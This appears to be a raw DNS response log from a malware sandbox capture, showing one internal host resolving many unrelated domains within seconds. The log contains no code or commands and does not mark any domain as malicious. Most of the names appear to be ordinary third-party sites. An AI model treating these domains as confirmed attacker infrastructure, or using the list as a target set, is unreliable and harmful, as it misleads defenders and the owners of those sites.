Mar 10, 2023 07:56:19.361541986 CET	8.8.8.8	192.168.2.6	0xece5	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.391381979 CET	8.8.8.8	192.168.2.6	0x4f7c	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.412075996 CET	8.8.8.8	192.168.2.6	0x383a	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.418446064 CET	8.8.8.8	192.168.2.6	0x815b	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.430742025 CET	8.8.8.8	192.168.2.6	0xe802	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.557859898 CET	8.8.8.8	192.168.2.6	0x7bc5	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.559061050 CET	8.8.8.8	192.168.2.6	0x52b5	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.581302881 CET	8.8.8.8	192.168.2.6	0x20a4	No error (0)	umcor.am		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.581302881 CET	8.8.8.8	192.168.2.6	0x20a4	No error (0)	umcor.am		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.594274044 CET	8.8.8.8	192.168.2.6	0x85e3	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.617593050 CET	8.8.8.8	192.168.2.6	0x63de	No error (0)	cjcagent.com		157.112.187.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.618156910 CET	8.8.8.8	192.168.2.6	0x6dd0	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.639930964 CET	8.8.8.8	192.168.2.6	0x4f74	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.669559002 CET	8.8.8.8	192.168.2.6	0x4f74	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.673837900 CET	8.8.8.8	192.168.2.6	0xed63	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.680874109 CET	8.8.8.8	192.168.2.6	0x4ce6	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.691442013 CET	8.8.8.8	192.168.2.6	0x3f55	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.691442013 CET	8.8.8.8	192.168.2.6	0x3f55	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.695108891 CET	8.8.8.8	192.168.2.6	0xe9af	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.696976900 CET	8.8.8.8	192.168.2.6	0x7d89	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.715734959 CET	8.8.8.8	192.168.2.6	0x5da5	No error (0)	polprime.com		154.214.189.76	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.721991062 CET	8.8.8.8	192.168.2.6	0xd0e9	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.735888004 CET	8.8.8.8	192.168.2.6	0x158f	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.737385988 CET	8.8.8.8	192.168.2.6	0x6b34	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.752973080 CET	8.8.8.8	192.168.2.6	0x8b8	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.752973080 CET	8.8.8.8	192.168.2.6	0x8b8	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.752973080 CET	8.8.8.8	192.168.2.6	0x8b8	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.802901983 CET	8.8.8.8	192.168.2.6	0x9cc9	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.810241938 CET	8.8.8.8	192.168.2.6	0xca16	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.820306063 CET	8.8.8.8	192.168.2.6	0x721a	No error (0)	dspears.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:19.820306063 CET	8.8.8.8	192.168.2.6	0x721a	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:19.820306063 CET	8.8.8.8	192.168.2.6	0x721a	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.820306063 CET	8.8.8.8	192.168.2.6	0x721a	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.829247952 CET	8.8.8.8	192.168.2.6	0x53ab	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.830306053 CET	8.8.8.8	192.168.2.6	0xff0f	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.875430107 CET	8.8.8.8	192.168.2.6	0x14f6	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.917073965 CET	8.8.8.8	192.168.2.6	0xebf2	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.925046921 CET	8.8.8.8	192.168.2.6	0x9ecd	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.925046921 CET	8.8.8.8	192.168.2.6	0x9ecd	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.938219070 CET	8.8.8.8	192.168.2.6	0x54e7	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.938219070 CET	8.8.8.8	192.168.2.6	0x54e7	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.956978083 CET	8.8.8.8	192.168.2.6	0xcb7f	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.990385056 CET	8.8.8.8	192.168.2.6	0xa77d	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.083015919 CET	8.8.8.8	192.168.2.6	0x5705	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.083015919 CET	8.8.8.8	192.168.2.6	0x5705	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.108732939 CET	8.8.8.8	192.168.2.6	0xb76f	No error (0)	juso-gr.ch		172.67.163.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.108732939 CET	8.8.8.8	192.168.2.6	0xb76f	No error (0)	juso-gr.ch		104.21.50.140	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.145639896 CET	8.8.8.8	192.168.2.6	0xf30c	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.160916090 CET	8.8.8.8	192.168.2.6	0x2858	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.161369085 CET	8.8.8.8	192.168.2.6	0xf8c8	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.161369085 CET	8.8.8.8	192.168.2.6	0xf8c8	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.174107075 CET	8.8.8.8	192.168.2.6	0x7d40	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.188560963 CET	8.8.8.8	192.168.2.6	0x4e6c	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.196857929 CET	8.8.8.8	192.168.2.6	0x7bb8	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.211766005 CET	8.8.8.8	192.168.2.6	0xa3cb	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.222511053 CET	8.8.8.8	192.168.2.6	0x42dd	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.235023975 CET	8.8.8.8	192.168.2.6	0x378e	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.267343998 CET	8.8.8.8	192.168.2.6	0x9fe2	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.371051073 CET	8.8.8.8	192.168.2.6	0xe6d0	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.390322924 CET	8.8.8.8	192.168.2.6	0x266	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.447760105 CET	8.8.8.8	192.168.2.6	0x47dd	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.455727100 CET	8.8.8.8	192.168.2.6	0x5947	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.455727100 CET	8.8.8.8	192.168.2.6	0x5947	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.455727100 CET	8.8.8.8	192.168.2.6	0x5947	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.472899914 CET	8.8.8.8	192.168.2.6	0x2226	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.472899914 CET	8.8.8.8	192.168.2.6	0x2226	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.511183977 CET	8.8.8.8	192.168.2.6	0x6771	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.511687994 CET	8.8.8.8	192.168.2.6	0xf065	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.511687994 CET	8.8.8.8	192.168.2.6	0xf065	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.517034054 CET	8.8.8.8	192.168.2.6	0xa6c	No error (0)	cpmteam.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.517034054 CET	8.8.8.8	192.168.2.6	0xa6c	No error (0)	cpmteam.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.517911911 CET	8.8.8.8	192.168.2.6	0xdaa	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.535681963 CET	8.8.8.8	192.168.2.6	0xff7b	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.535681963 CET	8.8.8.8	192.168.2.6	0xff7b	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.544034958 CET	8.8.8.8	192.168.2.6	0x598b	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.546044111 CET	8.8.8.8	192.168.2.6	0x6b92	No error (0)	juso-gr.ch		172.67.163.173	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.546044111 CET	8.8.8.8	192.168.2.6	0x6b92	No error (0)	juso-gr.ch		104.21.50.140	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.555325031 CET	8.8.8.8	192.168.2.6	0x7ea3	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.566180944 CET	8.8.8.8	192.168.2.6	0xf93d	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.566180944 CET	8.8.8.8	192.168.2.6	0xf93d	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.583915949 CET	8.8.8.8	192.168.2.6	0xeee6	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.587502003 CET	8.8.8.8	192.168.2.6	0x9f9f	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.606029987 CET	8.8.8.8	192.168.2.6	0x56df	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.606029987 CET	8.8.8.8	192.168.2.6	0x56df	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.608484030 CET	8.8.8.8	192.168.2.6	0xac21	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.613228083 CET	8.8.8.8	192.168.2.6	0x2358	No error (0)	bd-style.com		107.165.223.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.616568089 CET	8.8.8.8	192.168.2.6	0x16e3	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.617754936 CET	8.8.8.8	192.168.2.6	0x5f26	No error (0)	arowines.com		104.164.117.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.652159929 CET	8.8.8.8	192.168.2.6	0x91	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.687484026 CET	8.8.8.8	192.168.2.6	0x8c95	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.729679108 CET	8.8.8.8	192.168.2.6	0x4ce6	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.763938904 CET	8.8.8.8	192.168.2.6	0xb74b	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.783303022 CET	8.8.8.8	192.168.2.6	0xdbc0	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:20.783303022 CET	8.8.8.8	192.168.2.6	0xdbc0	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:20.783303022 CET	8.8.8.8	192.168.2.6	0xdbc0	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.783303022 CET	8.8.8.8	192.168.2.6	0xdbc0	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.808516979 CET	8.8.8.8	192.168.2.6	0x6c37	No error (0)	x96.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.808516979 CET	8.8.8.8	192.168.2.6	0x6c37	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.823415995 CET	8.8.8.8	192.168.2.6	0x58a8	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.831882954 CET	8.8.8.8	192.168.2.6	0xd92c	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:20.831882954 CET	8.8.8.8	192.168.2.6	0xd92c	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.833754063 CET	8.8.8.8	192.168.2.6	0xf074	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.844396114 CET	8.8.8.8	192.168.2.6	0x1c33	No error (0)	mail.protonmail.ch		185.205.70.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.844396114 CET	8.8.8.8	192.168.2.6	0x1c33	No error (0)	mail.protonmail.ch		176.119.200.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.844396114 CET	8.8.8.8	192.168.2.6	0x1c33	No error (0)	mail.protonmail.ch		185.70.42.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.919050932 CET	8.8.8.8	192.168.2.6	0x3fcd	No error (0)	araax.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:20.919050932 CET	8.8.8.8	192.168.2.6	0x3fcd	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:20.919050932 CET	8.8.8.8	192.168.2.6	0x3fcd	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.919050932 CET	8.8.8.8	192.168.2.6	0x3fcd	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.929606915 CET	8.8.8.8	192.168.2.6	0x6a8	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.946023941 CET	8.8.8.8	192.168.2.6	0xc1a4	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.946023941 CET	8.8.8.8	192.168.2.6	0xc1a4	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.946023941 CET	8.8.8.8	192.168.2.6	0xc1a4	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.946023941 CET	8.8.8.8	192.168.2.6	0xc1a4	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.946734905 CET	8.8.8.8	192.168.2.6	0x9454	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.967381001 CET	8.8.8.8	192.168.2.6	0xfa0f	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.987345934 CET	8.8.8.8	192.168.2.6	0xad83	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.014900923 CET	8.8.8.8	192.168.2.6	0x30e	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.075799942 CET	8.8.8.8	192.168.2.6	0xcf14	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.075799942 CET	8.8.8.8	192.168.2.6	0xcf14	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.119621992 CET	8.8.8.8	192.168.2.6	0x9493	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.169193983 CET	8.8.8.8	192.168.2.6	0x934f	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.255037069 CET	8.8.8.8	192.168.2.6	0xd649	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.356285095 CET	8.8.8.8	192.168.2.6	0xa7dc	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.382611036 CET	8.8.8.8	192.168.2.6	0xeeb3	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.382611036 CET	8.8.8.8	192.168.2.6	0xeeb3	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.382611036 CET	8.8.8.8	192.168.2.6	0xeeb3	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.430902958 CET	8.8.8.8	192.168.2.6	0x8d20	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.441241980 CET	8.8.8.8	192.168.2.6	0xa13e	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.465713978 CET	8.8.8.8	192.168.2.6	0x8e34	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.465713978 CET	8.8.8.8	192.168.2.6	0x8e34	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.465713978 CET	8.8.8.8	192.168.2.6	0x8e34	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.465713978 CET	8.8.8.8	192.168.2.6	0x8e34	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.490727901 CET	8.8.8.8	192.168.2.6	0x7394	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.541479111 CET	8.8.8.8	192.168.2.6	0x155e	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.561851025 CET	8.8.8.8	192.168.2.6	0x27c8	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.567833900 CET	8.8.8.8	192.168.2.6	0x8ea4	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.568516016 CET	8.8.8.8	192.168.2.6	0xf9c3	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.623243093 CET	8.8.8.8	192.168.2.6	0xb528	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.640201092 CET	8.8.8.8	192.168.2.6	0x16e3	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.674741983 CET	8.8.8.8	192.168.2.6	0x3f31	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.684791088 CET	8.8.8.8	192.168.2.6	0xbc54	No error (0)	sidepath.com		34.193.69.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.684791088 CET	8.8.8.8	192.168.2.6	0xbc54	No error (0)	sidepath.com		34.193.204.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.684791088 CET	8.8.8.8	192.168.2.6	0xbc54	No error (0)	sidepath.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.684791088 CET	8.8.8.8	192.168.2.6	0xbc54	No error (0)	sidepath.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.697546959 CET	8.8.8.8	192.168.2.6	0xd205	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.715449095 CET	8.8.8.8	192.168.2.6	0x68e2	No error (0)	ascc.org.au		203.210.102.34	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.717386961 CET	8.8.8.8	192.168.2.6	0xffd4	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.807226896 CET	8.8.8.8	192.168.2.6	0x35e5	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.820643902 CET	8.8.8.8	192.168.2.6	0x1ed4	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.970063925 CET	8.8.8.8	192.168.2.6	0x4a66	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.019232035 CET	8.8.8.8	192.168.2.6	0x4ca9	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.031217098 CET	8.8.8.8	192.168.2.6	0x8621	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.038723946 CET	8.8.8.8	192.168.2.6	0x66eb	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.088594913 CET	8.8.8.8	192.168.2.6	0xeb30	No error (0)	rkengg.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:22.088594913 CET	8.8.8.8	192.168.2.6	0xeb30	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:22.088594913 CET	8.8.8.8	192.168.2.6	0xeb30	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.088594913 CET	8.8.8.8	192.168.2.6	0xeb30	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.284209013 CET	8.8.8.8	192.168.2.6	0xa2bf	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.531864882 CET	8.8.8.8	192.168.2.6	0x855f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.581748962 CET	8.8.8.8	192.168.2.6	0xea2b	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.612344027 CET	8.8.8.8	192.168.2.6	0xd16c	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.653105974 CET	8.8.8.8	192.168.2.6	0x16e3	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.669472933 CET	8.8.8.8	192.168.2.6	0xa46a	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.681123018 CET	8.8.8.8	192.168.2.6	0xd795	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.694370985 CET	8.8.8.8	192.168.2.6	0xe1df	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:22.694370985 CET	8.8.8.8	192.168.2.6	0xe1df	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.745214939 CET	8.8.8.8	192.168.2.6	0xffd4	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.779481888 CET	8.8.8.8	192.168.2.6	0x999b	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.779481888 CET	8.8.8.8	192.168.2.6	0x999b	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.779481888 CET	8.8.8.8	192.168.2.6	0x999b	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.982636929 CET	8.8.8.8	192.168.2.6	0xc655	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.012120962 CET	8.8.8.8	192.168.2.6	0x69c5	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.012120962 CET	8.8.8.8	192.168.2.6	0x69c5	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
